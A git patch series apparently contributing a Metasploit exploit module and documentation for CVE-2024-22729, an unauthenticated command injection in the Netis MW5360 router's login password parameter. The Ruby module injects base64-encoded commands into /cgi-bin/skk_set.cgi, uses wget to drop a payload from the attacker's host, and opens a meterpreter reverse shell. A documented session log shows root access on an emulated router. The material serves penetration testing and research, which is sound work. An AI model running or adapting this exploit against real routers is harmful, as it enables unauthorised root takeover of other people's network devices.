From 6d844ae9c89c0841d30f8f5933e039401d4e95ce Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 19 May 2024 12:16:14 +0000 Subject: [PATCH 1/9] first release module --- .../http/netis_unauth_rce_cve_2024_22729.rb | 145 ++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb new file mode 100644 index 0000000000..3aba092931 --- /dev/null +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -0,0 +1,145 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Netis router MW5360 unauthenticated RCE.', + 'Description' => %q{ + Netis router MW5360 has a command injection vulnerability via the password parameter on the login page. + The vulnerability stems from improper handling of the "password" parameter within the router's web interface. + The router's login page authorization can be bypassed by simply deleting the authorization header, + leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable. + Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection + vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker + to take control of the router. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Adhikara13' # Discovery of the vulnerability + ], + 'References' => [ + ['CVE', '2024-22729'], + ['URL', 'https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729'], + ['URL', 'https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md'] + ], + 'DisclosureDate' => '2024-01-11)', + 'Platform' => ['linux'], + 'Arch' => [ARCH_MIPSLE], + 'Privileged' => true, + 'Targets' => [ + [ + 'Linux Dropper', + { + 'Platform' => ['linux'], + 'Arch' => [ARCH_MIPSLE], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 80 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The Netis MW5360 router endpoint URL', '/' ]), + OptInt.new('CMD_DELAY', [true, 'Delay in seconds between payload commands to avoid locking', 30]) + ]) + end + + def execute_command(cmd, _opts = {}) + # This is a customised linux dropper that only works with the wget command + # - payload need to be split because command chaining using ';' does not work + # - each command needs to be executed seperately + # - time between execution of each command need to be at least 30 seconds or more to avoid a lock + app_random = Rex::Text.rand_text_alphanumeric(4..8) + cmd_array = cmd.split(';') + cmd_array.each_with_index do |command, i| + # use the filedropper logic to remove the payload file + register_file_for_cleanup(command) if i == 2 + # skip the manual remove + break if i == 3 + + payload = Base64.strict_encode64("`#{command}`") + print_status("Executing #{command}") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'), + 'vars_post' => { + 'password' => payload, + 'quick_set' => 'ap', + 'app' => app_random + } + }) + # POST request does not return any output to test + # so wait (default 30 sec) before executing the next command to avoid a lock + sleep(datastore['CMD_DELAY']) + end + end + + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'), + 'vars_post' => { + 'mode_name' => 'skk_get', + 'wl_link' => 0 + } + }) + return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 && res.body.include?('version') + + # trying to get the model and version number + # unfortunately JSON parsing fails, so we need to use this ugly REGEX :-( + version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/) + model = res.body.match(/.?(model).?\s*:\s*.?((\\|[^,])*)/) + unless version.nil? || model.nil? + version_number = version[2].split('-V')[1].chop + model_number = model[2].chop + # Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower + if version_number && model_number == 'MW5360' + if Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442') + return CheckCode::Appears("Netis #{model_number} #{version_number}") + else + return CheckCode::Safe("Netis #{model_number} #{version_number}") + end + end + CheckCode::Safe("#{model_number} #{version_number}") + end + CheckCode::Safe + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed + execute_cmdstager + end + end +end From 31babb6ca1f1e0e3c7458e2f1dbe3b7011daef86 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 19 May 2024 12:23:21 +0000 Subject: [PATCH 2/9] Fixed disclosure date --- modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb index 3aba092931..dc541b2b7b 100644 --- a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729'], ['URL', 'https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md'] ], - 'DisclosureDate' => '2024-01-11)', + 'DisclosureDate' => '2024-01-11', 'Platform' => ['linux'], 'Arch' => [ARCH_MIPSLE], 'Privileged' => true, From 575e223657f91e0ee35b11eb4ec1cbbaa08004b4 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 19 May 2024 14:09:58 +0000 Subject: [PATCH 3/9] Added documentation --- .../http/netis_unauth_rce_cve_2024_22729.md | 240 ++++++++++++++++++ 1 file changed, 240 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md diff --git a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md new file mode 100644 index 0000000000..0d6cdeb0f1 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md @@ -0,0 +1,240 @@ +## Vulnerable Application +Netis router MW5360 has a command injection vulnerability via the password parameter on the login page. +The vulnerability stems from improper handling of the `password` parameter within the router's web interface. +The router's login page authorization can be bypassed by simply deleting the authorization header, +leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable. + +Attackers can inject a command in the `password` parameter, encoded in base64, to exploit the command injection vulnerability. +When exploited, this can lead to unauthorized command execution, potentially allowing the attacker +to take full control of the router as user `root`. + +The following Netis network products are vulnerable: + - MW5360 + +## Installation +Ideally, to test this module, you would need a vulnerable GL.iNet device. +However, by downloading the firmware and install and use `FirmAE` to emulate the router, +we can simulate the router and test the vulnerable endpoint. + +This module has been tested via FirmAE running on Kali Linux 2024.5 at the following emulated targets: +* Netis router model MW5360 with firmware V1.0.1.3442 +* Netis router model MW5360 with firmware V1.0.1.3031 +* Netis router model MW5360 with firmware RUSSIA_844 + +### Installation steps to emulate the router firmware with FirmAE +* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). +* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem. +* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). +* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. +* Download the vulnerable firmware from Netis [here](https://www.netisru.com/Suppory/de_details/id/1/de/136.html). +* We will pick `MW5360-1.0.1.3442.bin` for the demonstration. +* Start emulation. +* First run `./init.sh` to initialize and start the Postgress database. +* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin` +* This will take a while, but in the end you should see the following... +```shell + # ./run.sh -d netis /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin +[*] /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin emulation start!!! +[*] extract done!!! +[*] get architecture done!!! +mke2fs 1.47.0 (5-Feb-2023) +e2fsck 1.47.0 (5-Feb-2023) +[*] infer network start!!! + +[IID] 118 +[MODE] debug +[+] Network reachable on 192.168.1.1! +[+] Web service on 192.168.1.1 +[+] Run debug! +Creating TAP device tap118_0... +Set 'tap118_0' persistent and owned by uid 0 +Bringing up TAP device... +Starting emulation of firmware... 192.168.1.1 true true 42.470578245 42.470578245 +/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 + import telnetlib +[*] firmware - Netis_MW5360-1.0.1.3442 +[*] IP - 192.168.1.1 +[*] connecting to netcat (192.168.1.1:31337) +[+] netcat connected +------------------------------ +| FirmAE Debugger | +------------------------------ +1. connect to socat +2. connect to shell +3. tcpdump +4. run gdbserver +5. file transfer +6. exit +``` +* check if you can `ping` the emulated router and run `nmap` to check the ports +```shell + # ping 192.168.1.1 +PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data. +64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=9.2 ms +64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=3.18 ms +^C +--- 192.168.1.1 ping statistics --- +2 packets transmitted, 2 received, 0% packet loss, time 1001ms +rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms + # nmap 192.168.1.1 +Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 10:16 UTC +Nmap scan report for 192.168.1.1 +Host is up (0.0026s latency). +Not shown: 997 filtered tcp ports (no-response) +PORT STATE SERVICE +22/tcp open ssh +80/tcp open http +443/tcp open https +MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor) + +Nmap done: 1 IP address (1 host up) scanned in 4.82 seconds +``` +You are now ready to test the module using the emulated router hardware on IP address 192.168.1.1. + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_22729` +- [x] `set rhosts ` +- [x] `set lhost ` +- [x] `set target <0=Linux Dropper>` +- [x] `exploit` + +you should get a `Meterpreter` session. + +```msf +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > info + + Name: Netis router MW5360 unauthenticated RCE. + Module: exploit/linux/http/netis_unauth_rce_cve_2024_22729 + Platform: Linux + Arch: mipsle + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-01-11 + +Provided by: + h00die-gr3y + Adhikara13 + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.1.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/ + using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The Netis MW5360 router endpoint URL + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. + This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + Netis router MW5360 has a command injection vulnerability via the password parameter on the login page. + The vulnerability stems from improper handling of the "password" parameter within the router's web interface. + The router's login page authorization can be bypassed by simply deleting the authorization header, + leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable. + Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection + vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker + to take control of the router. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-22729 + https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729 + https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md + +View the full module info with the info -d command. +``` +## Options +### CMD_DELAY +Chained command lines using `;` do not work, so each command need to be executed in a separate request +with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option. + +## Scenarios +### Netis MW5360 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp +```msf +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set target 0 +target => 0 +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set rhosts 192.168.1.1 +rhosts => 192.168.1.1 +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set lhost 192.168.1.2 +lhost => 192.168.1.2 +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > exploit + +[*] Started reverse TCP handler on 192.168.1.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.1.1:80 can be exploited. +[+] The target appears to be vulnerable. Netis MW5360 1.0.1.3442 +[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp +[*] Using URL: http://192.168.1.2:8080/IbZMnLDC +[*] Executing wget -qO /tmp/kgfXdZZW http://192.168.1.2:8080/IbZMnLDC +[*] Client 192.168.1.1 (Wget) requested /IbZMnLDC +[*] Sending payload to 192.168.1.1 (Wget) +[*] Executing chmod +x /tmp/kgfXdZZW +[*] Executing /tmp/kgfXdZZW +[+] Deleted /tmp/kgfXdZZW +[*] Meterpreter session 7 opened (192.168.1.2:4444 -> 192.168.1.1:43254) at 2024-05-19 11:51:21 +0000 +[*] Command Stager progress - 100.00% done (112/112 bytes) +[*] Server stopped. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.1.1 +OS : (Linux 4.1.17+) +Architecture : mips +BuildTuple : mipsel-linux-muslsf +Meterpreter : mipsle/linux +meterpreter > pwd +/etc/boa +meterpreter > ls +Listing: /etc/boa +================= + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf +100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types + +meterpreter > +``` +## Limitations +Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target. +Another limitation is that the router has a very limited command set that can be leveraged, +so the only option is to use the `wget` command to drop an executable on the target to get a session. +Chained command lines using `;` do not work, so each command need to be executed in a separate request +with delay of 30 seconds of more to avoid session locking (see the `CMD_DELAY` option). + +Last but not least, be mindful that the admin router password gets overwritten by the exploit, +resulting in a clear indicator of comprise. From 66a7fbf0eabddf63a68acfb0cf569ddc2c7e6868 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Tue, 21 May 2024 20:21:35 +0000 Subject: [PATCH 4/9] Update based on jvoisin comments --- .../exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb index dc541b2b7b..e37b5a8f24 100644 --- a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -124,9 +124,9 @@ class MetasploitModule < Msf::Exploit::Remote if version_number && model_number == 'MW5360' if Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442') return CheckCode::Appears("Netis #{model_number} #{version_number}") - else - return CheckCode::Safe("Netis #{model_number} #{version_number}") end + + return CheckCode::Safe("Netis #{model_number} #{version_number}") end CheckCode::Safe("#{model_number} #{version_number}") end From e7d65fe60a5b3b461cfe06ed1be8c69c2382866d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 27 May 2024 17:45:07 +0000 Subject: [PATCH 5/9] Update based on bwatters-r7 comments --- .../http/netis_unauth_rce_cve_2024_22729.rb | 31 +++++++++---------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb index e37b5a8f24..cfc1be3af7 100644 --- a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -72,20 +72,14 @@ class MetasploitModule < Msf::Exploit::Remote end def execute_command(cmd, _opts = {}) - # This is a customised linux dropper that only works with the wget command - # - payload need to be split because command chaining using ';' does not work - # - each command needs to be executed seperately - # - time between execution of each command need to be at least 30 seconds or more to avoid a lock - app_random = Rex::Text.rand_text_alphanumeric(4..8) - cmd_array = cmd.split(';') - cmd_array.each_with_index do |command, i| - # use the filedropper logic to remove the payload file - register_file_for_cleanup(command) if i == 2 - # skip the manual remove - break if i == 3 + # store name of payload and cleanup payload file when session is established (see def on_new_session) + @payload_name = cmd.split('+x')[1].strip if cmd.include?('chmod +x') - payload = Base64.strict_encode64("`#{command}`") - print_status("Executing #{command}") + # skip last command to remove payload becuase it does not work + unless cmd.include?('rm -f') + app_random = Rex::Text.rand_text_alphanumeric(4..8) + payload = Base64.strict_encode64("`#{cmd}`") + print_status("Executing #{cmd}") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'), @@ -95,12 +89,15 @@ class MetasploitModule < Msf::Exploit::Remote 'app' => app_random } }) - # POST request does not return any output to test - # so wait (default 30 sec) before executing the next command to avoid a lock - sleep(datastore['CMD_DELAY']) end end + def on_new_session(_session) + # cleanup payload file + register_files_for_cleanup(@payload_name.to_s) + super + end + def check print_status("Checking if #{peer} can be exploited.") res = send_request_cgi({ @@ -139,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Remote when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed - execute_cmdstager + execute_cmdstager(noconcat: true, delay: datastore['CMD_DELAY']) end end end From 55fa94995b5a1252e0be7b1f2ad7411f652ee12a Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Thu, 6 Jun 2024 22:23:35 +0000 Subject: [PATCH 6/9] Updated check method --- .../http/netis_unauth_rce_cve_2024_22729.md | 2 +- .../http/netis_unauth_rce_cve_2024_22729.rb | 18 +++++++----------- 2 files changed, 8 insertions(+), 12 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md index 0d6cdeb0f1..52327a2265 100644 --- a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md +++ b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md @@ -195,7 +195,7 @@ msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > exploit [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.1.1:80 can be exploited. -[+] The target appears to be vulnerable. Netis MW5360 1.0.1.3442 +[+] The target appears to be vulnerable. Netis(MW5360)-V1.0.1.3442 [*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp [*] Using URL: http://192.168.1.2:8080/IbZMnLDC [*] Executing wget -qO /tmp/kgfXdZZW http://192.168.1.2:8080/IbZMnLDC diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb index cfc1be3af7..0f87b3082a 100644 --- a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote # store name of payload and cleanup payload file when session is established (see def on_new_session) @payload_name = cmd.split('+x')[1].strip if cmd.include?('chmod +x') - # skip last command to remove payload becuase it does not work + # skip last command to remove payload because it does not work unless cmd.include?('rm -f') app_random = Rex::Text.rand_text_alphanumeric(4..8) payload = Base64.strict_encode64("`#{cmd}`") @@ -113,19 +113,15 @@ class MetasploitModule < Msf::Exploit::Remote # trying to get the model and version number # unfortunately JSON parsing fails, so we need to use this ugly REGEX :-( version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/) - model = res.body.match(/.?(model).?\s*:\s*.?((\\|[^,])*)/) - unless version.nil? || model.nil? + unless version.nil? version_number = version[2].split('-V')[1].chop - model_number = model[2].chop + model_number = version[2].split('-V')[0][/\(([^(]+)/, 1].chop # Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower - if version_number && model_number == 'MW5360' - if Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442') - return CheckCode::Appears("Netis #{model_number} #{version_number}") - end - - return CheckCode::Safe("Netis #{model_number} #{version_number}") + if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442')) + return CheckCode::Appears(version[2].chop.to_s) end - CheckCode::Safe("#{model_number} #{version_number}") + + return CheckCode::Safe(version[2].chop.to_s) end CheckCode::Safe end From 0e3471d5431ecb9b8426db27f3ad195197a33911 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Fri, 7 Jun 2024 19:47:06 +0000 Subject: [PATCH 7/9] Final draft --- modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb index 0f87b3082a..255819df1e 100644 --- a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -77,7 +77,6 @@ class MetasploitModule < Msf::Exploit::Remote # skip last command to remove payload because it does not work unless cmd.include?('rm -f') - app_random = Rex::Text.rand_text_alphanumeric(4..8) payload = Base64.strict_encode64("`#{cmd}`") print_status("Executing #{cmd}") send_request_cgi({ @@ -86,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote 'vars_post' => { 'password' => payload, 'quick_set' => 'ap', - 'app' => app_random + 'app' => 'wan_set_shortcut' } }) end From 6a77c2e5624489cd4f8746424482dd95bec03be0 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sat, 8 Jun 2024 11:33:55 +0000 Subject: [PATCH 8/9] Final tweaks in check method --- .../linux/http/netis_unauth_rce_cve_2024_22729.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb index 255819df1e..44cd192091 100644 --- a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -112,9 +112,15 @@ class MetasploitModule < Msf::Exploit::Remote # trying to get the model and version number # unfortunately JSON parsing fails, so we need to use this ugly REGEX :-( version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/) + # when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison unless version.nil? - version_number = version[2].split('-V')[1].chop - model_number = version[2].split('-V')[0][/\(([^(]+)/, 1].chop + version_number = version[2].upcase.split('-V')[1].gsub(/[[:space:]]/, '').chop + # The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D + if version[2].upcase.split('-V')[0].include?('-') + model_number = version[2].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '') + else + model_number = version[2].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '') + end # Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442')) return CheckCode::Appears(version[2].chop.to_s) From 4e26704d73a213d8cd2539a26dd98dc81c02247b Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 12 Jun 2024 18:57:29 +0000 Subject: [PATCH 9/9] Update addressing cdelafuente-r7 comments --- .../linux/http/netis_unauth_rce_cve_2024_22729.rb | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb index 44cd192091..9ee6d18c69 100644 --- a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -72,9 +72,10 @@ class MetasploitModule < Msf::Exploit::Remote end def execute_command(cmd, _opts = {}) - # store name of payload and cleanup payload file when session is established (see def on_new_session) - @payload_name = cmd.split('+x')[1].strip if cmd.include?('chmod +x') - + # cleanup payload file when session is established. + if cmd.include?('chmod +x') + register_files_for_cleanup(cmd.split('+x')[1].strip) + end # skip last command to remove payload because it does not work unless cmd.include?('rm -f') payload = Base64.strict_encode64("`#{cmd}`") @@ -91,12 +92,6 @@ class MetasploitModule < Msf::Exploit::Remote end end - def on_new_session(_session) - # cleanup payload file - register_files_for_cleanup(@payload_name.to_s) - super - end - def check print_status("Checking if #{peer} can be exploited.") res = send_request_cgi({